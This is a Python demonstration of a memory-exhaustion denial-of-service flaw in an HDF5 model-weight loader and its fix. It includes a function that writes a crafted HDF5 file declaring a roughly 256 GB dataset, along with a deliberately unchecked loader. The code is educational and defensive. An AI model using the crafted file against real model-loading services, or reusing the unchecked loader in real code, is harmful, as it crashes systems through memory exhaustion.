Patched code sample

import h5py
import numpy as np
import os

# This represents the maximum size for a single weight tensor that the loader
# will attempt to allocate. The original vulnerability had no such limit.
# Set to 1 GB for this demonstration.
MAX_TENSOR_SIZE_IN_BYTES = 1 * 1024 * 1024 * 1024

def create_malicious_h5_file(path, reported_shape):
    """Creates an HDF5 file with a dataset of a huge, but non-allocated, shape."""
    with h5py.File(path, 'w') as f:
        # Create a dataset with an extremely large shape.
        # HDF5 allows creating a virtual dataset where the storage space
        # is not immediately allocated, which is the core of the exploit.
        f.create_dataset('malicious_weight', shape=reported_shape, dtype='float32')

def vulnerable_load_weights(h5_group):
    """
    This function simulates the original vulnerable behavior.
    It attempts to load any dataset into a numpy array without checking its shape/size first.
    """
    weights = []
    for name, dataset in h5_group.items():
        # The vulnerable line: np.array() tries to allocate memory for the
        # dataset's reported shape, causing a crash if the shape is huge.
        weights.append(np.array(dataset))
    return weights

def fixed_load_weights(h5_group):
    """
    This function demonstrates the fix for the vulnerability.
    It checks the declared shape of a dataset and calculates its potential
    memory footprint before attempting to load it into memory.
    """
    weights = []
    for name, dataset in h5_group.items():
        # THE FIX STARTS HERE
        shape = dataset.shape
        if not shape:  # Handle scalar weights
            num_elements = 1
        else:
            num_elements = np.prod(shape)

        # Calculate the expected size in bytes
        expected_size = num_elements * dataset.dtype.itemsize

        if expected_size > MAX_TENSOR_SIZE_IN_BYTES:
            raise ValueError(
                f"Refusing to load weight tensor '{name}' of shape {shape}. "
                f"The tensor would require {expected_size / 1e9:.2f} GB of memory, "
                f"which exceeds the safety limit of "
                f"{MAX_TENSOR_SIZE_IN_BYTES / 1e9:.2f} GB. "
                "This is a safety measure to prevent potential DoS attacks "
                "via memory exhaustion."
            )
        # THE FIX ENDS HERE

        # If the check passes, the weight is loaded safely.
        weights.append(np.array(dataset))
    return weights

if __name__ == '__main__':
    # A shape that would require ~256 GB of RAM if loaded (2^36 * 4 bytes)
    malicious_shape = (2**18, 2**18)
    file_path = "malicious_model.h5"

    print(f"Creating a malicious HDF5 file at '{file_path}'...")
    print(f"It will report a dataset of shape {malicious_shape}.")
    create_malicious_h5_file(file_path, malicious_shape)
    print("-" * 30)

    # --- Demonstrate the fix ---
    print("Attempting to load weights with the FIXED function...")
    try:
        with h5py.File(file_path, 'r') as f:
            fixed_load_weights(f)
    except ValueError as e:
        print(f"SUCCESS: The fixed function correctly prevented loading.")
        print(f"Caught expected error: {e}")
    except MemoryError:
        print("FAILURE: The fixed function still crashed with a MemoryError.")
    print("-" * 30)


    # --- Demonstrate the vulnerability (USE WITH CAUTION) ---
    # This part will likely crash your Python interpreter due to memory exhaustion.
    # It is disabled by default. Uncomment at your own risk.
    
    # print("ATTEMPTING TO LOAD WEIGHTS WITH THE VULNERABLE FUNCTION.")
    # print("WARNING: This will likely exhaust your system's memory and CRASH the script.")
    # confirm = input("Type 'yes' to proceed: ")
    # if confirm.lower() == 'yes':
    #     try:
    #         with h5py.File(file_path, 'r') as f:
    #             # This call will attempt to allocate a massive amount of memory
    #             vulnerable_load_weights(f)
    #     except MemoryError:
    #         # You will most likely see the OS kill the process before this prints.
    #         print("Caught a MemoryError, but the process was likely already unstable.")
    #     except Exception as e:
    #         print(f"An unexpected error occurred: {e}")
    # else:
    #     print("Skipping demonstration of the vulnerability.")


    # Clean up the created file
    if os.path.exists(file_path):
        os.remove(file_path)
        print(f"\nCleaned up '{file_path}'.")